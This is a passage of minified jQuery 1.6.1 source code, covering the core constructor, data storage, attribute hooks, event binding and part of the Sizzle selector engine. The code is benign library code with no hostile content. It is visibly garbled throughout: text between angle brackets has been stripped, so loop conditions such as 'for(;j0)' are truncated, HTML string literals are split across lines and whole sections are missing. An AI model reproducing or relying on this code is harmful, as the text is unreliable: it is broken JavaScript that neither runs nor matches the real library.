e=c+"defer",g=c+"queue",h=c+"mark",i=f.data(a,e,b,!0);i&&(d==="queue"||!f.data(a,g,b,!0))&&(d==="mark"||!f.data(a,h,b,!0))&&setTimeout(function(){!f.data(a,g,b,!0)&&!f.data(a,h,b,!0)&&(f.removeData(a,e,!0),i.resolve())},0)}function l(a){for(var b in a)if(b!=="toJSON")return!1;return!0}function k(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(j,"$1-$2").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNaN(d)?i.test(d)?f.parseJSON(d):d:parseFloat(d)}catch(g){}f.data(a,c,d)}else d=b}return d}var c=a.document,d=a.navigator,e=a.location,f=function(){function H(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(H,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/\d/,n=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,o=/^[\],:{}\s]*$/,p=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,q=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,r=/(?:^|:|,)(?:\s*\[)+/g,s=/(webkit)[ \/]([\w.]+)/,t=/(opera)(?:.*version)?[ \/]([\w.]+)/,u=/(msie) ([\w.]+)/,v=/(mozilla)(?:.*? rv:([\w.]+))?/,w=d.userAgent,x,y,z,A=Object.prototype.toString,B=Object.prototype.hasOwnProperty,C=Array.prototype.push,D=Array.prototype.slice,E=String.prototype.trim,F=Array.prototype.indexOf,G={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=n.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.6.1",length:0,size:function(){return this.length},toArray:function(){return D.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?C.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),y.done(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(D.apply(this,arguments),"slice",D.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:C,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;y.resolveWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").unbind("ready")}},bindReady:function(){if(!y){y=e._Deferred();if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",z,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",z),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&H()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a&&typeof a=="object"&&"setInterval"in a},isNaN:function(a){return a==null||!m.test(a)||isNaN(a)},type:function(a){return a==null?String(a):G[A.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;if(a.constructor&&!B.call(a,"constructor")&&!B.call(a.constructor.prototype,"isPrototypeOf"))return!1;var c;for(c in a);return c===b||B.call(a,c)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw a},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(o.test(b.replace(p,"@").replace(q,"]").replace(r,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(b,c,d){a.DOMParser?(d=new DOMParser,c=d.parseFromString(b,"text/xml")):(c=new ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(b)),d=c.documentElement,(!d||!d.nodeName||d.nodeName==="parsererror")&&e.error("Invalid XML: "+b);return c},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?h.call(arguments,0):c,--e||g.resolveWith(g,h.call(b,0))}}var b=arguments,c=0,d=b.length,e=d,g=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred();if(d>1){for(;c
      a",d=a.getElementsByTagName("*"),e=a.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};f=c.createElement("select"),g=f.appendChild(c.createElement("option")),h=a.getElementsByTagName("input")[0],j={leadingWhitespace:a.firstChild.nodeType===3,tbody:!a.getElementsByTagName("tbody").length,htmlSerialize:!!a.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55$/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:h.value==="on",optSelected:g.selected,getSetAttribute:a.className!=="t",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},h.checked=!0,j.noCloneChecked=h.cloneNode(!0).checked,f.disabled=!0,j.optDisabled=!g.disabled;try{delete a.test}catch(s){j.deleteExpando=!1}!a.addEventListener&&a.attachEvent&&a.fireEvent&&(a.attachEvent("onclick",function b(){j.noCloneEvent=!1,a.detachEvent("onclick",b)}),a.cloneNode(!0).fireEvent("onclick")),h=c.createElement("input"),h.value="t",h.setAttribute("type","radio"),j.radioValue=h.value==="t",h.setAttribute("checked","checked"),a.appendChild(h),k=c.createDocumentFragment(),k.appendChild(a.firstChild),j.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,a.innerHTML="",a.style.width=a.style.paddingLeft="1px",l=c.createElement("body"),m={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"};for(q in m)l.style[q]=m[q];l.appendChild(a),b.insertBefore(l,b.firstChild),j.appendChecked=h.checked,j.boxModel=a.offsetWidth===2,"zoom"in a.style&&(a.style.display="inline",a.style.zoom=1,j.inlineBlockNeedsLayout=a.offsetWidth===2,a.style.display="",a.innerHTML="
      ",j.shrinkWrapBlocks=a.offsetWidth!==2),a.innerHTML="
      t
      ",n=a.getElementsByTagName("td"),r=n[0].offsetHeight===0,n[0].style.display="",n[1].style.display="none",j.reliableHiddenOffsets=r&&n[0].offsetHeight===0,a.innerHTML="",c.defaultView&&c.defaultView.getComputedStyle&&(i=c.createElement("div"),i.style.width="0",i.style.marginRight="0",a.appendChild(i),j.reliableMarginRight=(parseInt((c.defaultView.getComputedStyle(i,null)||{marginRight:0}).marginRight,10)||0)===0),l.innerHTML="",b.removeChild(l);if(a.attachEvent)for(q in{submit:1,change:1,focusin:1})p="on"+q,r=p in a,r||(a.setAttribute(p,"return;"),r=typeof a[p]=="function"),j[q+"Bubbles"]=r;return j}(),f.boxModel=f.support.boxModel;var i=/^(?:\{.*\}|\[.*\])$/,j=/([a-z])([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!l(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g=f.expando,h=typeof c=="string",i,j=a.nodeType,k=j?f.cache:a,l=j?a[f.expando]:a[f.expando]&&f.expando;if((!l||e&&l&&!k[l][g])&&h&&d===b)return;l||(j?a[f.expando]=l=++f.uuid:l=f.expando),k[l]||(k[l]={},j||(k[l].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?k[l][g]=f.extend(k[l][g],c):k[l]=f.extend(k[l],c);i=k[l],e&&(i[g]||(i[g]={}),i=i[g]),d!==b&&(i[f.camelCase(c)]=d);if(c==="events"&&!i[c])return i[g]&&i[g].events;return h?i[f.camelCase(c)]:i}},removeData:function(b,c,d){if(!!f.acceptData(b)){var e=f.expando,g=b.nodeType,h=g?f.cache:b,i=g?b[f.expando]:f.expando;if(!h[i])return;if(c){var j=d?h[i][e]:h[i];if(j){delete j[c];if(!l(j))return}}if(d){delete h[i][e];if(!l(h[i]))return}var k=h[i][e];f.support.deleteExpando||h!=a?delete h[i]:h[i]=null,k?(h[i]={},g||(h[i].toJSON=f.noop),h[i][e]=k):g&&(f.support.deleteExpando?delete b[f.expando]:b.removeAttribute?b.removeAttribute(f.expando):b[f.expando]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),f.fn.extend({data:function(a,c){var d=null;if(typeof a=="undefined"){if(this.length){d=f.data(this[0]);if(this[0].nodeType===1){var e=this[0].attributes,g;for(var h=0,i=e.length;h-1)return!0;return!1},val:function(a){var c,d,e=this[0];if(!arguments.length){if(e){c=f.valHooks[e.nodeName.toLowerCase()]||f.valHooks[e.type];if(c&&"get"in c&&(d=c.get(e,"value"))!==b)return d;return(e.value||"").replace(p,"")}return b}var g=f.isFunction(a);return this.each(function(d){var e=f(this),h;if(this.nodeType===1){g?h=a.call(this,d,e.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c=a.selectedIndex,d=[],e=a.options,g=a.type==="select-one";if(c<0)return null;for(var h=g?c:0,i=g?c+1:e.length;h=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attrFix:{tabindex:"tabIndex"},attr:function(a,c,d,e){var g=a.nodeType;if(!a||g===3||g===8||g===2)return b;if(e&&c in f.attrFn)return f(a)[c](d);if(!("getAttribute"in a))return f.prop(a,c,d);var h,i,j=g!==1||!f.isXMLDoc(a);c=j&&f.attrFix[c]||c,i=f.attrHooks[c],i||(!t.test(c)||typeof d!="boolean"&&d!==b&&d.toLowerCase()!==c.toLowerCase()?v&&(f.nodeName(a,"form")||u.test(c))&&(i=v):i=w);if(d!==b){if(d===null){f.removeAttr(a,c);return b}if(i&&"set"in i&&j&&(h=i.set(a,d,c))!==b)return h;a.setAttribute(c,""+d);return d}if(i&&"get"in i&&j)return i.get(a,c);h=a.getAttribute(c);return h===null?b:h},removeAttr:function(a,b){var c;a.nodeType===1&&(b=f.attrFix[b]||b,f.support.getSetAttribute?a.removeAttribute(b):(f.attr(a,b,""),a.removeAttributeNode(a.getAttributeNode(b))),t.test(b)&&(c=f.propFix[b]||b)in a&&(a[c]=!1))},attrHooks:{type:{set:function(a,b){if(q.test(a.nodeName)&&a.parentNode)f.error("type property can't be changed");else if(!f.support.radioValue&&b==="radio"&&f.nodeName(a,"input")){var c=a.value;a.setAttribute("type",b),c&&(a.value=c);return b}}},tabIndex:{get:function(a){var c=a.getAttributeNode("tabIndex");return c&&c.specified?parseInt(c.value,10):r.test(a.nodeName)||s.test(a.nodeName)&&a.href?0:b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var e=a.nodeType;if(!a||e===3||e===8||e===2)return b;var g,h,i=e!==1||!f.isXMLDoc(a);c=i&&f.propFix[c]||c,h=f.propHooks[c];return d!==b?h&&"set"in h&&(g=h.set(a,d,c))!==b?g:a[c]=d:h&&"get"in h&&(g=h.get(a,c))!==b?g:a[c]},propHooks:{}}),w={get:function(a,c){return a[f.propFix[c]||c]?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a&&(a[d]=b),a.setAttribute(c,c.toLowerCase()));return c}},f.attrHooks.value={get:function(a,b){if(v&&f.nodeName(a,"button"))return v.get(a,b);return a.value},set:function(a,b,c){if(v&&f.nodeName(a,"button"))return v.set(a,b,c);a.value=b}},f.support.getSetAttribute||(f.attrFix=f.propFix,v=f.attrHooks.name=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d&&d.nodeValue!==""?d.nodeValue:b},set:function(a,b,c){var d=a.getAttributeNode(c);if(d){d.nodeValue=b;return b}}},f.each(["width","height"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===""){a.setAttribute(b,"auto");return c}}})})),f.support.hrefNormalized||f.each(["href","src","width","height"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=""+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}})),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}}),f.each(["radio","checkbox"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)>=0}})});var x=Object.prototype.hasOwnProperty,y=/\.(.*)$/,z=/^(?:textarea|input|select)$/i,A=/\./g,B=/ /g,C=/[^\w\s.|`]/g,D=function(a){return a.replace(C,"\\$&")};f.event={add:function(a,c,d,e){if(a.nodeType!==3&&a.nodeType!==8){if(d===!1)d=E;else if(!d)return;var g,h;d.handler&&(g=d,d=g.handler),d.guid||(d.guid=f.guid++);var i=f._data(a);if(!i)return;var j=i.events,k=i.handle;j||(i.events=j={}),k||(i.handle=k=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.handle.apply(k.elem,arguments):b}),k.elem=a,c=c.split(" ");var l,m=0,n;while(l=c[m++]){h=g?f.extend({},g):{handler:d,data:e},l.indexOf(".")>-1?(n=l.split("."),l=n.shift(),h.namespace=n.slice(0).sort().join(".")):(n=[],h.namespace=""),h.type=l,h.guid||(h.guid=d.guid);var o=j[l],p=f.event.special[l]||{};if(!o){o=j[l]=[];if(!p.setup||p.setup.call(a,e,n,k)===!1)a.addEventListener?a.addEventListener(l,k,!1):a.attachEvent&&a.attachEvent("on"+l,k)}p.add&&(p.add.call(a,h),h.handler.guid||(h.handler.guid=d.guid)),o.push(h),f.event.global[l]=!0}a=null}},global:{},remove:function(a,c,d,e){if(a.nodeType!==3&&a.nodeType!==8){d===!1&&(d=E);var g,h,i,j,k=0,l,m,n,o,p,q,r,s=f.hasData(a)&&f._data(a),t=s&&s.events;if(!s||!t)return;c&&c.type&&(d=c.handler,c=c.type);if(!c||typeof c=="string"&&c.charAt(0)==="."){c=c||"";for(h in t)f.event.remove(a,h+c);return}c=c.split(" ");while(h=c[k++]){r=h,q=null,l=h.indexOf(".")<0,m=[],l||(m=h.split("."),h=m.shift(),n=new RegExp("(^|\\.)"+f.map(m.slice(0).sort(),D).join("\\.(?:.*\\.)?")+"(\\.|$)")),p=t[h];if(!p)continue;if(!d){for(j=0;j=0&&(h=h.slice(0,-1),j=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if(!!e&&!f.event.customEvent[h]||!!f.event.global[h]){c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.exclusive=j,c.namespace=i.join("."),c.namespace_re=new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)");if(g||!e)c.preventDefault(),c.stopPropagation();if(!e){f.each(f.cache,function(){var a=f.expando,b=this[a];b&&b.events&&b.events[h]&&f.event.trigger(c,d,b.handle.elem )});return}if(e.nodeType===3||e.nodeType===8)return;c.result=b,c.target=e,d=d?f.makeArray(d):[],d.unshift(c);var k=e,l=h.indexOf(":")<0?"on"+h:"";do{var m=f._data(k,"handle");c.currentTarget=k,m&&m.apply(k,d),l&&f.acceptData(k)&&k[l]&&k[l].apply(k,d)===!1&&(c.result=!1,c.preventDefault()),k=k.parentNode||k.ownerDocument||k===c.target.ownerDocument&&a}while(k&&!c.isPropagationStopped());if(!c.isDefaultPrevented()){var n,o=f.event.special[h]||{};if((!o._default||o._default.call(e.ownerDocument,c)===!1)&&(h!=="click"||!f.nodeName(e,"a"))&&f.acceptData(e)){try{l&&e[h]&&(n=e[l],n&&(e[l]=null),f.event.triggered=h,e[h]())}catch(p){}n&&(e[l]=n),f.event.triggered=b}}return c.result}},handle:function(c){c=f.event.fix(c||a.event);var d=((f._data(this,"events")||{})[c.type]||[]).slice(0),e=!c.exclusive&&!c.namespace,g=Array.prototype.slice.call(arguments,0);g[0]=c,c.currentTarget=this;for(var h=0,i=d.length;h-1?f.map(a.options,function(a){return a.selected}).join("-"):"":f.nodeName(a,"select")&&(c=a.selectedIndex);return c},K=function(c){var d=c.target,e,g;if(!!z.test(d.nodeName)&&!d.readOnly){e=f._data(d,"_change_data"),g=J(d),(c.type!=="focusout"||d.type!=="radio")&&f._data(d,"_change_data",g);if(e===b||g===e)return;if(e!=null||g)c.type="change",c.liveFired=b,f.event.trigger(c,arguments[1],d)}};f.event.special.change={filters:{focusout:K,beforedeactivate:K,click:function(a){var b=a.target,c=f.nodeName(b,"input")?b.type:"";(c==="radio"||c==="checkbox"||f.nodeName(b,"select"))&&K.call(this,a)},keydown:function(a){var b=a.target,c=f.nodeName(b,"input")?b.type:"";(a.keyCode===13&&!f.nodeName(b,"textarea")||a.keyCode===32&&(c==="checkbox"||c==="radio")||c==="select-multiple")&&K.call(this,a)},beforeactivate:function(a){var b=a.target;f._data(b,"_change_data",J(b))}},setup:function(a,b){if(this.type==="file")return!1;for(var c in I)f.event.add(this,c+".specialChange",I[c]);return z.test(this.nodeName)},teardown:function(a){f.event.remove(this,".specialChange");return z.test(this.nodeName)}},I=f.event.special.change.filters,I.focus=I.beforeactivate}f.support.focusinBubbles||f.each({focus:"focusin",blur:"focusout"},function(a,b){function e(a){var c=f.event.fix(a);c.type=b,c.originalEvent={},f.event.trigger(c,null,c.target),c.isDefaultPrevented()&&a.preventDefault()}var d=0;f.event.special[b]={setup:function(){d++===0&&c.addEventListener(a,e,!0)},teardown:function(){--d===0&&c.removeEventListener(a,e,!0)}}}),f.each(["bind","one"],function(a,c){f.fn[c]=function(a,d,e){var g;if(typeof a=="object"){for(var h in a)this[c](h,d,a[h],e);return this}if(arguments.length===2||d===!1)e=d,d=b;c==="one"?(g=function(a){f(this).unbind(a,g);return e.apply(this,arguments)},g.guid=e.guid||f.guid++):g=e;if(a==="unload"&&c!=="one")this.one(a,d,e);else for(var i=0,j=this.length;i0?this.bind(b,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0)}),function(){function u(a,b,c,d,e,f){for(var g=0,h=d.length;g0){j=i;break}}i=i[a]}d[g]=j}}}function t(a,b,c,d,e,f){for(var g=0,h=d.length;g+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d=0,e=Object.prototype.toString,g=!1,h=!0,i=/\\/g,j=/\W/;[0,0].sort(function(){h=!1;return 0});var k=function(b,d,f,g){f=f||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return f;var i,j,n,o,q,r,s,t,u=!0,w=k.isXML(d),x=[],y=b;do{a.exec(""),i=a.exec(y);if(i){y=i[3],x.push(i[1]);if(i[2]){o=i[3];break}}}while(i);if(x.length>1&&m.exec(b))if(x.length===2&&l.relative[x[0]])j=v(x[0]+x[1],d);else{j=l.relative[x[0]]?[d]:k(x.shift(),d);while(x.length)b=x.shift(),l.relative[b]&&(b+=x.shift()),j=v(b,j)}else{!g&&x.length>1&&d.nodeType===9&&!w&&l.match.ID.test(x[0])&&!l.match.ID.test(x[x.length-1])&&(q=k.find(x.shift(),d,w),d=q.expr?k.filter(q.expr,q.set)[0]:q.set[0]);if(d){q=g?{expr:x.pop(),set:p(g)}:k.find(x.pop(),x.length===1&&(x[0]==="~"||x[0]==="+")&&d.parentNode?d.parentNode:d,w),j=q.expr?k.filter(q.expr,q.set):q.set,x.length>0?n=p(j):u=!1;while(x.length)r=x.pop(),s=r,l.relative[r]?s=x.pop():r="",s==null&&(s=d),l.relative[r](n,s,w)}else n=x=[]}n||(n=j),n||k.error(r||b);if(e.call(n)==="[object Array]")if(!u)f.push.apply(f,n);else if(d&&d.nodeType===1)for(t=0;n[t]!=null;t++)n[t]&&(n[t]===!0||n[t].nodeType===1&&k.contains(d,n[t]))&&f.push(j[t]);else for(t=0;n[t]!=null;t++)n[t]&&n[t].nodeType===1&&f.push(j[t]);else p(n,f);o&&(k(o,h,f,g),k.uniqueSort(f));return f};k.uniqueSort=function(a){if(r){g=h,a.sort(r);if(g)for(var b=1;b0},k.find=function(a,b,c){var d;if(!a)return[];for(var e=0,f=l.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!j.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(i,"")},TAG:function(a,b){return a[1].replace(i,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||k.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&k.error(a[0]);a[0]=d++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(i,"");!f&&l.attrMap[g]&&(a[1]=l.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(i,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=k(b[3],null,null,c);else{var g=k.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(l.match.POS.test(b[0])||l.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!k(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=l.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||k.getText([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=l.attrHandle[c]?l.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=l.setFilters[e];if(f)return f(a,c,b,d)}}},m=l.match.POS,n=function(a,b){return"\\"+(b-0+1)};for(var o in l.match)l.match[o]=new RegExp(l.match[o].source+/(?![^\[]*\])(?![^\(]*\))/.source),l.leftMatch[o]=new RegExp(/(^(?:.|\r|\n)*?)/.source+l.match[o].source.replace(/\\(\d+)/g,n));var p=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(q){p=function(a,b){var c=0,d=b||[];if(e.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var f=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(l.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},l.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(l.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(l.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=k,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

